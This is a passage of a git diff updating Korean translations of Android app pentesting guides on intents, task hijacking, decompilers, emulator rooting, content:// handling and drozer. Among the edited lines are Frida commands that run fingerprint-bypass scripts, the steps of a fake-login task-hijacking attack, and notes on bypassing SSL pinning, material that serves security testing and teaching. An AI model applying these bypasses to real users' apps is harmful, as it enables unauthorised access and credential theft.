요소의 기능을 설명하며, 수행할 수 있는 작업이나 처리할 수 있는 브로드캐스트의 종류를 나타냅니다. 이러한 필터를 선언하는 주요 장소는 **AndroidManifest.xml 파일** 내에 있지만, 브로드캐스트 수신자의 경우 코딩하는 것도 옵션입니다. +**인텐트 필터**는 **활동, 서비스 또는 브로드캐스트 수신자가 다양한 유형의 인텐트와 상호작용하는 방법을 정의합니다**. 본질적으로, 이들은 이러한 구성 요소의 기능을 설명하며, 수행할 수 있는 작업이나 처리할 수 있는 브로드캐스트의 종류를 나타냅니다. 이러한 필터를 선언하는 주요 장소는 **AndroidManifest.xml 파일** 내에 있지만, 브로드캐스트 수신자의 경우 코딩하는 것도 옵션입니다. 인텐트 필터는 카테고리, 작업 및 데이터 필터로 구성되며, 추가 메타데이터를 포함할 수 있는 가능성이 있습니다. 이 설정은 구성 요소가 선언된 기준에 맞는 특정 인텐트를 처리할 수 있게 합니다. 안드로이드 구성 요소(활동/서비스/콘텐츠 제공자/브로드캐스트 수신자)의 중요한 측면은 그들의 가시성 또는 **공개 상태**입니다. 구성 요소가 **`exported`** 속성이 **`true`**로 설정되어 있거나 매니페스트에 인텐트 필터가 선언되어 있으면, 해당 구성 요소는 공개로 간주되며 다른 앱과 상호작용할 수 있습니다. 그러나 개발자는 이러한 구성 요소를 명시적으로 비공개로 유지하여 다른 앱과 의도치 않게 상호작용하지 않도록 할 수 있는 방법이 있습니다. 이는 매니페스트 정의에서 **`exported`** 속성을 **`false`**로 설정하여 달성됩니다. -또한, 개발자는 특정 권한을 요구하여 이러한 구성 요소에 대한 접근을 더욱 안전하게 할 수 있는 옵션이 있습니다. **`permission`** 속성을 설정하여 지정된 권한을 가진 앱만 구성 요소에 접근할 수 있도록 강제할 수 있으며, 이는 누가 상호작용할 수 있는지에 대한 추가 보안 및 제어 계층을 추가합니다. +또한, 개발자는 특정 권한을 요구하여 이러한 구성 요소에 대한 접근을 추가로 보안할 수 있는 옵션이 있습니다. **`permission`** 속성을 설정하여 지정된 권한을 가진 앱만 구성 요소에 접근할 수 있도록 강제할 수 있으며, 이는 누가 상호작용할 수 있는지에 대한 추가 보안 및 제어 계층을 추가합니다. ```java @@ -145,7 +145,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:")); ``` 인텐트 필터는 메시지를 수신하기 위해 **action**, **data** 및 **category**와 일치해야 합니다. -"인텐트 해상도" 프로세스는 각 메시지를 수신할 앱을 결정합니다. 이 프로세스는 **우선 순위 속성**을 고려하며, 이는 i**ntent-filter 선언**에서 설정할 수 있고, **더 높은 우선 순위를 가진 것이 선택됩니다**. 이 우선 순위는 -1000에서 1000 사이로 설정할 수 있으며, 애플리케이션은 `SYSTEM_HIGH_PRIORITY` 값을 사용할 수 있습니다. **충돌**이 발생하면 "선택기" 창이 나타나 **사용자가 결정할 수 있습니다**. +"인텐트 해상도" 프로세스는 각 메시지를 수신해야 할 앱을 결정합니다. 이 프로세스는 **우선 순위 속성**을 고려하며, 이는 **인텐트 필터 선언**에서 설정할 수 있고, **더 높은 우선 순위를 가진 것이 선택됩니다**. 이 우선 순위는 -1000에서 1000 사이로 설정할 수 있으며, 애플리케이션은 `SYSTEM_HIGH_PRIORITY` 값을 사용할 수 있습니다. **충돌**이 발생하면 "선택기" 창이 나타나 **사용자가 결정할 수 있습니다**. ### 명시적 인텐트 @@ -165,18 +165,18 @@ context.startService(intent); ### Broadcast Intents -이전의 의도와 달리, 단일 앱에서만 수신되는 것이 아니라, broadcast intents는 **여러 앱에서 수신될 수 있습니다**. 그러나 API 버전 14부터는 **메시지를 수신해야 하는 앱을 지정할 수 있습니다** Intent.setPackage를 사용하여. +이전의 의도와 달리, 단일 앱만 수신하는 것이 아니라 방송 의도는 **여러 앱에서 수신될 수 있습니다**. 그러나 API 버전 14부터는 **메시지를 수신해야 하는 앱을 지정할 수 있습니다** Intent.setPackage를 사용하여. -또한 **브로드캐스트를 보낼 때 권한을 지정할 수도 있습니다**. 수신 앱은 해당 권한을 가져야 합니다. +또한 방송을 보낼 때 **권한을 지정할 수도 있습니다**. 수신 앱은 해당 권한을 가져야 합니다. -브로드캐스트에는 **두 가지 유형**이 있습니다: **정상** (비동기) 및 **정렬된** (동기). **순서**는 **수신기** 요소 내에서 **구성된 우선 순위**에 기반합니다. **각 앱은 브로드캐스트를 처리, 중계 또는 삭제할 수 있습니다.** +**두 가지 유형**의 방송이 있습니다: **정상** (비동기) 및 **주문형** (동기). **순서**는 **수신기** 요소 내에서 **구성된 우선 순위**에 기반합니다. **각 앱은 방송을 처리, 중계 또는 삭제할 수 있습니다.** -`Context` 클래스의 `sendBroadcast(intent, receiverPermission)` 함수를 사용하여 **브로드캐스트를 보낼 수 있습니다**.\ +`Context` 클래스의 `sendBroadcast(intent, receiverPermission)` 함수를 사용하여 **방송을 보낼 수 있습니다**.\ 또한 **`LocalBroadCastManager`**의 **`sendBroadcast`** 함수를 사용하면 **메시지가 앱을 떠나지 않도록** 보장합니다. 이를 사용하면 수신기 구성 요소를 내보낼 필요조차 없습니다. ### Sticky Broadcasts -이러한 종류의 브로드캐스트는 **전송된 후 오랫동안 접근할 수 있습니다**.\ +이 종류의 방송은 **전송된 후 오랜 시간 동안 접근할 수 있습니다**.\ 이것은 API 레벨 21에서 사용 중단되었으며 **사용하지 않는 것이 좋습니다**.\ **이들은 모든 애플리케이션이 데이터를 엿볼 수 있도록 허용하지만, 수정할 수도 있습니다.** @@ -198,7 +198,7 @@ context.startService(intent); [...] ``` -이전 예제의 스킴은 `examplescheme://`입니다 (또한 **`category BROWSABLE`**에 유의하십시오) +이전 예제의 스킴은 `examplescheme://`입니다 (또한 **`category BROWSABLE`**도 주목하세요) 그런 다음, 데이터 필드에서 **host**와 **path**를 지정할 수 있습니다: ```xml @@ -217,7 +217,7 @@ HTML 페이지를 사용하지 않고 [딥 링크를 호출하는 방법](./#exp ## AIDL - Android 인터페이스 정의 언어 -**Android 인터페이스 정의 언어 (AIDL)**는 Android 애플리케이션에서 **프로세스 간 통신** (IPC)을 통해 클라이언트와 서비스 간의 통신을 용이하게 하기 위해 설계되었습니다. Android에서는 다른 프로세스의 메모리에 직접 접근하는 것이 허용되지 않기 때문에, AIDL은 객체를 운영 체제가 이해할 수 있는 형식으로 변환하여 서로 다른 프로세스 간의 통신을 쉽게 합니다. +**Android 인터페이스 정의 언어 (AIDL)**는 Android 애플리케이션에서 **프로세스 간 통신** (IPC)을 통해 클라이언트와 서비스 간의 통신을 용이하게 하기 위해 설계되었습니다. Android에서는 다른 프로세스의 메모리에 직접 접근하는 것이 허용되지 않기 때문에, AIDL은 객체를 운영 체제가 이해할 수 있는 형식으로 마샬링하여 서로 다른 프로세스 간의 통신을 용이하게 합니다. ### 주요 개념 @@ -225,7 +225,7 @@ HTML 페이지를 사용하지 않고 [딥 링크를 호출하는 방법](./#exp - **메신저**: 바운드 서비스로 작동하는 메신저는 `onBind` 메소드를 통해 데이터를 처리하는 데 중점을 두고 IPC를 용이하게 합니다. 이 메소드를 면밀히 검사하여 안전하지 않은 데이터 처리나 민감한 기능의 실행이 있는지 확인하는 것이 중요합니다. -- **바인더**: AIDL의 추상화로 인해 바인더 클래스를 직접 사용하는 것은 덜 일반적이지만, 바인더가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버로 작용한다는 것을 이해하는 것이 유익합니다. 더 자세한 이해를 위해 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 리소스를 확인하세요. +- **바인더**: AIDL의 추상화로 인해 바인더 클래스를 직접 사용하는 것은 덜 일반적이지만, 바인더가 서로 다른 프로세스의 메모리 공간 간 데이터 전송을 용이하게 하는 커널 수준 드라이버 역할을 한다는 것을 이해하는 것이 유익합니다. 더 자세한 이해를 위해 [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)에서 리소스를 확인하세요. ## 구성 요소 @@ -274,11 +274,11 @@ super.onCreate(); ``` ### Services -[Services](https://developer.android.com/guide/components/services)는 **백그라운드 작업자**로, 사용자 인터페이스 없이 작업을 실행할 수 있습니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환하더라도 계속 실행될 수 있어, 서비스는 **장기 실행 작업**에 필수적입니다. +[Services](https://developer.android.com/guide/components/services)는 **백그라운드 작업자**로, 사용자 인터페이스 없이 작업을 실행할 수 있습니다. 이러한 작업은 사용자가 다른 애플리케이션으로 전환하더라도 계속 실행될 수 있어, **장기 실행 작업**에 필수적입니다. -서비스는 다재다능하며, 다양한 방법으로 시작될 수 있으며, **Intents**가 애플리케이션의 진입점으로서 서비스를 시작하는 주요 방법입니다. `startService` 메서드를 사용하여 서비스가 시작되면, `onStart` 메서드가 작동을 시작하고 `stopService` 메서드가 명시적으로 호출될 때까지 계속 실행됩니다. 또는 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, `bindService` 메서드를 사용하여 클라이언트를 서비스에 바인딩하고, 데이터 전송을 위해 `onBind` 메서드를 활성화합니다. +Services는 다재다능하며, 다양한 방법으로 시작될 수 있으며, **Intents**가 애플리케이션의 진입점으로서 이를 시작하는 주요 방법입니다. `startService` 메서드를 사용하여 서비스가 시작되면, `onStart` 메서드가 작동을 시작하고 `stopService` 메서드가 명시적으로 호출될 때까지 계속 실행됩니다. 또는 서비스의 역할이 활성 클라이언트 연결에 의존하는 경우, `bindService` 메서드를 사용하여 클라이언트를 서비스에 바인딩하고, 데이터 전송을 위해 `onBind` 메서드를 활성화합니다. -서비스의 흥미로운 응용 프로그램에는 백그라운드 음악 재생 또는 사용자와 앱 간의 상호작용을 방해하지 않고 네트워크 데이터 가져오기가 포함됩니다. 또한, 서비스는 **내보내기**를 통해 동일한 장치의 다른 프로세스에서 접근할 수 있도록 만들 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적인 구성이 필요합니다: +서비스의 흥미로운 응용 프로그램에는 백그라운드 음악 재생이나 사용자와 앱 간의 상호작용을 방해하지 않고 네트워크 데이터 가져오기가 포함됩니다. 또한, 서비스는 **exporting**을 통해 동일한 장치의 다른 프로세스에서 접근할 수 있도록 만들 수 있습니다. 이는 기본 동작이 아니며 Android Manifest 파일에서 명시적인 구성이 필요합니다: ```xml ``` @@ -296,7 +296,7 @@ super.onCreate(); **Content Providers**는 앱 간에 **구조화된 데이터**를 **공유**하는 데 필수적이며, 데이터 보안을 보장하기 위해 **권한**을 구현하는 것이 중요합니다. 이들은 앱이 데이터베이스, 파일 시스템 또는 웹을 포함한 다양한 소스의 데이터에 접근할 수 있도록 합니다. **`readPermission`** 및 **`writePermission`**과 같은 특정 권한은 접근 제어에 중요합니다. 또한, 앱의 매니페스트에서 **`grantUriPermission`** 설정을 통해 임시 접근을 부여할 수 있으며, `path`, `pathPrefix`, `pathPattern`과 같은 속성을 활용하여 세부적인 접근 제어를 할 수 있습니다. -입력 검증은 SQL 인젝션과 같은 취약점을 방지하기 위해 매우 중요합니다. Content Providers는 기본 작업인 `insert()`, `update()`, `delete()`, `query()`를 지원하여 애플리케이션 간의 데이터 조작 및 공유를 용이하게 합니다. +입력 검증은 SQL 인젝션과 같은 취약점을 방지하기 위해 매우 중요합니다. Content Providers는 데이터 조작 및 애플리케이션 간의 공유를 용이하게 하는 기본 작업인 `insert()`, `update()`, `delete()`, `query()`를 지원합니다. **FileProvider**는 파일을 안전하게 공유하는 데 중점을 둔 전문화된 Content Provider입니다. 이는 앱의 매니페스트에 정의되며, `android:exported` 및 `android:resource`와 같은 특정 속성을 사용하여 폴더에 대한 접근을 제어합니다. 민감한 데이터가 우연히 노출되지 않도록 디렉토리를 공유할 때 주의해야 합니다. @@ -344,7 +344,7 @@ JavaScript "Bridge"는 Java 객체가 JavaScript와 상호작용할 수 있게 ## 기타 앱 구성 요소 및 모바일 장치 관리 -### **응용 프로그램의 디지털 서명** +### **애플리케이션의 디지털 서명** - **디지털 서명**은 Android 앱에 필수적이며, 설치 전에 **정품 작성**되었음을 보장합니다. 이 과정은 앱 식별을 위한 인증서를 사용하며, 설치 시 장치의 패키지 관리자가 확인해야 합니다. 앱은 **자체 서명되거나 외부 CA에 의해 인증**될 수 있으며, 무단 접근으로부터 보호하고 장치에 전달되는 동안 앱이 변조되지 않도록 보장합니다. diff --git a/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md b/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md index 38aa49746..ce4d13341 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md +++ b/src/mobile-pentesting/android-app-pentesting/android-task-hijacking.md @@ -4,13 +4,13 @@ ## 작업, 백 스택 및 포그라운드 활동 -Android에서 **작업**은 사용자가 특정 작업을 완료하기 위해 상호작용하는 활동의 집합으로, **백 스택** 내에 조직됩니다. 이 스택은 활동이 열렸던 순서에 따라 활동을 정렬하며, 가장 최근의 활동이 가장 위에 표시되어 **포그라운드 활동**이 됩니다. 언제든지 이 활동만 화면에 표시되어 **포그라운드 작업**의 일부가 됩니다. +Android에서 **작업**은 사용자가 특정 작업을 완료하기 위해 상호작용하는 활동의 집합으로, **백 스택** 내에 조직됩니다. 이 스택은 활동이 열린 순서에 따라 정렬되며, 가장 최근의 활동이 가장 위에 표시되어 **포그라운드 활동**이 됩니다. 언제든지 이 활동만 화면에 표시되어 **포그라운드 작업**의 일부가 됩니다. 활동 전환에 대한 간단한 설명은 다음과 같습니다: - **활동 1**은 포그라운드에서 유일한 활동으로 시작합니다. - **활동 2**를 시작하면 **활동 1**이 백 스택으로 밀려나고, **활동 2**가 포그라운드로 옵니다. -- **활동 3**을 시작하면 **활동 1**과 **활동 2**가 스택에서 더 뒤로 밀려나고, **활동 3**이 앞에 위치합니다. +- **활동 3**을 시작하면 **활동 1**과 **활동 2**가 스택에서 더 뒤로 밀리고, **활동 3**이 이제 앞에 위치합니다. - **활동 3**을 닫으면 **활동 2**가 다시 포그라운드로 돌아와 Android의 간소화된 작업 탐색 메커니즘을 보여줍니다. ![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../images/image (698).png>) @@ -23,7 +23,7 @@ Android 애플리케이션에서 **작업 친화성**은 활동의 선호 작업 ### 실행 모드 -`launchMode` 속성은 작업 내에서 활동 인스턴스의 처리를 지시합니다. **singleTask** 모드는 이 공격에 중요한 역할을 하며, 기존 활동 인스턴스와 작업 친화성 일치에 따라 세 가지 시나리오를 규정합니다. 이 공격은 공격자의 앱이 대상 앱의 작업 친화성을 모방할 수 있는 능력에 의존하여, Android 시스템이 의도된 대상을 대신하여 공격자의 앱을 실행하도록 유도합니다. +`launchMode` 속성은 작업 내에서 활동 인스턴스의 처리를 지시합니다. **singleTask** 모드는 이 공격에 중요한 역할을 하며, 기존 활동 인스턴스와 작업 친화성 일치에 따라 세 가지 시나리오를 지시합니다. 이 취약점은 공격자의 앱이 대상 앱의 작업 친화성을 모방할 수 있는 능력에 의존하여, Android 시스템이 의도된 대상을 대신하여 공격자의 앱을 실행하도록 오도합니다. ### 상세 공격 단계 @@ -33,7 +33,7 @@ Android 애플리케이션에서 **작업 친화성**은 활동의 선호 작업 4. **하이재킹 실행**: 일치하는 작업 친화성으로 인해 악성 앱이 대상 앱 대신 실행됩니다. 5. **기만**: 악성 앱이 대상 앱과 유사한 가짜 로그인 화면을 표시하여 사용자가 민감한 정보를 입력하도록 속입니다. -이 공격의 실용적인 구현에 대해서는 GitHub의 Task Hijacking Strandhogg 리포지토리를 참조하십시오: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg). +이 공격의 실제 구현에 대한 내용은 GitHub의 Task Hijacking Strandhogg 리포지토리를 참조하십시오: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg). ### 예방 조치 diff --git a/src/mobile-pentesting/android-app-pentesting/apk-decompilers.md b/src/mobile-pentesting/android-app-pentesting/apk-decompilers.md index 5461c9127..5b59277d2 100644 --- a/src/mobile-pentesting/android-app-pentesting/apk-decompilers.md +++ b/src/mobile-pentesting/android-app-pentesting/apk-decompilers.md @@ -26,13 +26,13 @@ ### [Enjarify](https://github.com/Storyyeller/enjarify) -**Enjarify**는 Dalvik 바이트코드를 Java 바이트코드로 변환하여 Java 분석 도구가 Android 애플리케이션을 더 효과적으로 분석할 수 있도록 합니다. +**Enjarify**는 Dalvik 바이트코드를 Java 바이트코드로 변환하여 Java 분석 도구가 Android 애플리케이션을 더 효과적으로 분석할 수 있게 합니다. - Enjarify를 사용하려면 다음을 실행합니다: `enjarify app.apk` 이는 제공된 APK의 Java 바이트코드 동등물을 생성합니다. ### [CFR](https://github.com/leibnitz27/cfr) -**CFR**은 최신 Java 기능을 디컴파일할 수 있습니다. 다음과 같이 사용합니다: +**CFR**은 현대 Java 기능을 디컴파일할 수 있습니다. 다음과 같이 사용합니다: - 표준 디컴파일을 위해: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"` - 큰 JAR 파일의 경우, JVM 메모리 할당을 조정합니다: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"` @@ -41,7 +41,7 @@ **Fernflower**는 분석 디컴파일러로, 소스에서 빌드해야 합니다. 빌드 후: -- JAR 파일을 디컴파일합니다: `java -jar ./fernflower.jar "app.jar" "output_directory"` 그런 다음, 생성된 JAR에서 `.java` 파일을 `unzip`을 사용하여 추출합니다. +- JAR 파일을 디컴파일합니다: `java -jar ./fernflower.jar "app.jar" "output_directory"` 그런 다음, 생성된 JAR에서 `.java` 파일을 추출하려면 `unzip`을 사용합니다. ### [Krakatau](https://github.com/Storyyeller/Krakatau) diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index ad6601218..b25db2616 100644 --- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Thank you very much to [**@offsecjay**](https://twitter.com/offsecjay) for his help while creating this content. +이 콘텐츠를 만드는 데 도움을 주신 [**@offsecjay**](https://twitter.com/offsecjay)에게 매우 감사드립니다. ## What is @@ -13,7 +13,7 @@ Android Studio는 **APK를 테스트하는 데 사용할 수 있는 Android의 Windows에서는 (제 경우) **Android Studio를 설치한 후** **SDK 도구가**: `C:\Users\\AppData\Local\Android\Sdk\tools`에 설치되었습니다. -Mac에서는 **SDK 도구를 다운로드**하고 PATH에 추가할 수 있습니다: +mac에서는 **SDK 도구를 다운로드**하고 다음을 실행하여 PATH에 추가할 수 있습니다: ```bash brew tap homebrew/cask brew install --cask android-sdk @@ -173,10 +173,10 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht **System** -- `-selinux {disabled|permissive}` : Linux 운영 체제에서 보안 강화 리눅스 보안 모듈을 비활성화 또는 허용 모드로 설정합니다. +- `-selinux {disabled|permissive}` : Linux 운영 체제에서 보안 강화 Linux 보안 모듈을 비활성화 또는 허용 모드로 설정합니다. - `-timezone Europe/Paris` : 가상 장치의 시간대를 설정합니다. - `-screen {touch(default)|multi-touch|o-touch}` : 에뮬레이션된 터치 스크린 모드를 설정합니다. -- **`-writable-system`** : 에뮬레이션 세션 중에 쓰기 가능한 시스템 이미지를 사용하려면 이 옵션을 사용하십시오. 또한 `adb root; adb remount`를 실행해야 합니다. 이는 시스템에 새 인증서를 설치하는 데 매우 유용합니다. +- **`-writable-system`** : 에뮬레이션 세션 중에 쓰기 가능한 시스템 이미지를 갖기 위해 이 옵션을 사용합니다. 또한 `adb root; adb remount`를 실행해야 합니다. 이는 시스템에 새 인증서를 설치하는 데 매우 유용합니다. ## Rooting a Play Store device @@ -185,7 +185,7 @@ Play Store가 있는 장치를 다운로드한 경우 직접 루트 권한을 $ adb root adbd cannot run as root in production builds ``` -[rootAVD](https://github.com/newbit1/rootAVD)와 [Magisk](https://github.com/topjohnwu/Magisk)를 사용하여 루팅할 수 있었습니다 (예를 들어 [**이 비디오**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **또는** [**이 비디오**](https://www.youtube.com/watch?v=qQicUW0svB8)를 참조하세요). +[**rootAVD**](https://github.com/newbit1/rootAVD)와 [**Magisk**](https://github.com/topjohnwu/Magisk)를 사용하여 루팅할 수 있었습니다 (예를 들어 [**이 비디오**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **또는** [**이 비디오**](https://www.youtube.com/watch?v=qQicUW0svB8)를 참조하세요). ## Burp 인증서 설치 @@ -199,7 +199,7 @@ install-burp-certificate.md ### 스냅샷 찍기 -언제든지 VM의 스냅샷을 찍으려면 **GUI를 사용할 수 있습니다**: +언제든지 **GUI를 사용하여** VM의 스냅샷을 찍을 수 있습니다: ![](<../../images/image (234).png>) diff --git a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md index e5293a597..247fb38dd 100644 --- a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md +++ b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md @@ -4,7 +4,7 @@ ## **방법 1 – 암호화 객체 사용 없이 우회하기** -여기서의 초점은 인증 과정에서 중요한 _onAuthenticationSucceeded_ 콜백입니다. WithSecure의 연구자들은 NULL _CryptoObject_를 _onAuthenticationSucceeded(...)_에서 우회할 수 있는 [Frida 스크립트](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)를 개발했습니다. 이 스크립트는 메서드 호출 시 지문 인증을 자동으로 우회하도록 강제합니다. 아래는 안드로이드 지문 컨텍스트에서 우회를 보여주는 간단한 코드 조각이며, 전체 애플리케이션은 [GitHub](https://github.com/St3v3nsS/InsecureBanking)에서 확인할 수 있습니다. +여기서의 초점은 인증 과정에서 중요한 _onAuthenticationSucceeded_ 콜백에 있습니다. WithSecure의 연구자들은 NULL _CryptoObject_를 _onAuthenticationSucceeded(...)_에서 우회할 수 있는 [Frida 스크립트](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)를 개발했습니다. 이 스크립트는 메서드 호출 시 지문 인증을 자동으로 우회하도록 강제합니다. 아래는 안드로이드 지문 컨텍스트에서 우회를 보여주는 간단한 코드 조각이며, 전체 애플리케이션은 [GitHub](https://github.com/St3v3nsS/InsecureBanking)에서 확인할 수 있습니다. ```javascript biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() { @Override @@ -19,7 +19,7 @@ frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-byp ``` ## **방법 2 – 예외 처리 접근법** -Another [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) by WithSecure addresses bypassing insecure crypto object usage. The script invokes _onAuthenticationSucceeded_ with a _CryptoObject_ that hasn't been authorized by a fingerprint. If the application tries to use a different cipher object, it will trigger an exception. The script prepares to invoke _onAuthenticationSucceeded_ and handle the _javax.crypto.IllegalBlockSizeException_ in the _Cipher_ class, ensuring subsequent objects used by the application are encrypted with the new key. +WithSecure의 또 다른 [Frida 스크립트](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js)는 안전하지 않은 암호화 객체 사용을 우회하는 방법을 다룹니다. 이 스크립트는 지문으로 인증되지 않은 _CryptoObject_와 함께 _onAuthenticationSucceeded_를 호출합니다. 애플리케이션이 다른 암호 객체를 사용하려고 하면 예외가 발생합니다. 이 스크립트는 _onAuthenticationSucceeded_를 호출하고 _Cipher_ 클래스에서 _javax.crypto.IllegalBlockSizeException_을 처리할 준비를 하여, 애플리케이션에서 사용되는 후속 객체가 새로운 키로 암호화되도록 보장합니다. Frida 스크립트를 실행하는 명령: ```bash @@ -35,7 +35,7 @@ Hooking FingerprintManager.authenticate()... ``` ## **방법 3 – 계측 프레임워크** -Xposed 또는 Frida와 같은 계측 프레임워크는 런타임에 애플리케이션 메서드에 훅을 걸 수 있습니다. 지문 인증의 경우, 이러한 프레임워크는: +Xposed나 Frida와 같은 계측 프레임워크는 런타임에 애플리케이션 메서드에 훅을 걸 수 있습니다. 지문 인증의 경우, 이러한 프레임워크는: 1. **인증 콜백 모의**: `BiometricPrompt.AuthenticationCallback`의 `onAuthenticationSucceeded`, `onAuthenticationFailed` 또는 `onAuthenticationError` 메서드에 훅을 걸어 지문 인증 프로세스의 결과를 제어할 수 있습니다. 2. **SSL 핀닝 우회**: 이를 통해 공격자는 클라이언트와 서버 간의 트래픽을 가로채고 수정할 수 있으며, 인증 프로세스를 변경하거나 민감한 데이터를 탈취할 수 있습니다. @@ -46,7 +46,7 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in ``` ## **방법 4 – 리버스 엔지니어링 및 코드 수정** -리버스 엔지니어링 도구인 `APKTool`, `dex2jar`, 및 `JD-GUI`를 사용하여 Android 애플리케이션을 디컴파일하고, 소스 코드를 읽고, 인증 메커니즘을 이해할 수 있습니다. 일반적인 단계는 다음과 같습니다: +`APKTool`, `dex2jar`, `JD-GUI`와 같은 리버스 엔지니어링 도구를 사용하여 Android 애플리케이션을 디컴파일하고, 소스 코드를 읽고, 인증 메커니즘을 이해할 수 있습니다. 일반적인 단계는 다음과 같습니다: 1. **APK 디컴파일**: APK 파일을 더 인간이 읽기 쉬운 형식(예: Java 코드)으로 변환합니다. 2. **코드 분석**: 지문 인증 구현을 찾아보고 잠재적인 약점(예: 대체 메커니즘 또는 부적절한 검증 검사)을 식별합니다. @@ -57,7 +57,7 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in 인증 메커니즘을 테스트하고 우회하기 위해 설계된 전문 도구와 스크립트가 있습니다. 예를 들어: 1. **MAGISK 모듈**: MAGISK는 사용자가 장치를 루팅하고 지문을 포함한 하드웨어 수준 정보를 수정하거나 스푸핑할 수 있는 모듈을 추가할 수 있는 Android 도구입니다. -2. **사용자 정의 스크립트**: Android Debug Bridge (ADB)와 상호작용하거나 애플리케이션의 백엔드와 직접 상호작용하여 지문 인증을 시뮬레이션하거나 우회하는 스크립트를 작성할 수 있습니다. +2. **사용자 정의 스크립트**: Android Debug Bridge(ADB)와 상호 작용하거나 애플리케이션의 백엔드와 직접 상호 작용하여 지문 인증을 시뮬레이션하거나 우회하는 스크립트를 작성할 수 있습니다. ## 참고 문헌 diff --git a/src/mobile-pentesting/android-app-pentesting/content-protocol.md b/src/mobile-pentesting/android-app-pentesting/content-protocol.md index 4901ffa86..26ae4055b 100644 --- a/src/mobile-pentesting/android-app-pentesting/content-protocol.md +++ b/src/mobile-pentesting/android-app-pentesting/content-protocol.md @@ -44,7 +44,7 @@ _동일 출처 정책_ (SOP)은 브라우저에서 서로 다른 출처의 리 그러나 CVE-2020-6516은 `content://` URL을 통해 로드된 리소스에 대한 SOP 규칙을 우회할 수 있는 Chrome의 취약점이었습니다. 결과적으로, `content://` URL의 JavaScript 코드는 다른 `content://` URL을 통해 로드된 리소스에 접근할 수 있었으며, 이는 특히 Android 10 이전 버전에서 구현되지 않은 범위 저장소를 실행하는 Android 장치에서 중요한 보안 문제였습니다. -아래의 개념 증명은 이 취약점을 보여주며, HTML 문서가 **/sdcard**에 업로드되고 미디어 저장소에 추가된 후, JavaScript에서 `XMLHttpRequest`를 사용하여 미디어 저장소의 다른 파일 내용을 접근하고 표시하여 SOP 규칙을 우회합니다. +아래의 개념 증명은 이 취약점을 보여주며, **/sdcard** 아래에 업로드되고 미디어 저장소에 추가된 HTML 문서가 JavaScript에서 `XMLHttpRequest`를 사용하여 미디어 저장소의 다른 파일 내용을 접근하고 표시하여 SOP 규칙을 우회하는 방식입니다. Proof-of-Concept HTML: ```xml diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 4d63e6b04..35e2e7d0e 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -29,7 +29,7 @@ Agent는 포트 31415에서 실행되고 있으며, Drozer Client와 Agent 간 ```bash adb forward tcp:31415 tcp:31415 ``` -마지막으로, **애플리케이션**을 **실행**하고 하단의 "**ON**" 버튼을 누릅니다. +마지막으로, **애플리케이션**을 **실행**하고 하단의 "**ON**"을 누릅니다. ![](<../../../images/image (459).png>) @@ -39,20 +39,20 @@ drozer console connect ``` ## 흥미로운 명령어 -| **명령어** | **설명** | -| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | +| **명령어** | **설명** | +| --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | **Help MODULE** | 선택한 모듈의 도움말을 표시합니다. | -| **list** | 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 이 목록은 적절한 권한이 없는 모듈은 숨깁니다. | +| **list** | 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 적절한 권한이 없는 모듈은 숨겨집니다. | | **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. | -| **clean** | Android 장치에서 drozer가 저장한 임시 파일을 제거합니다. | -| **load** | drozer 명령이 포함된 파일을 로드하고 순차적으로 실행합니다. | -| **module** | 인터넷에서 추가 drozer 모듈을 찾아 설치합니다. | -| **unset** | drozer가 생성하는 모든 Linux 셸에 전달하는 이름이 있는 변수를 제거합니다. | -| **set** | drozer가 생성하는 모든 Linux 셸에 환경 변수로 전달될 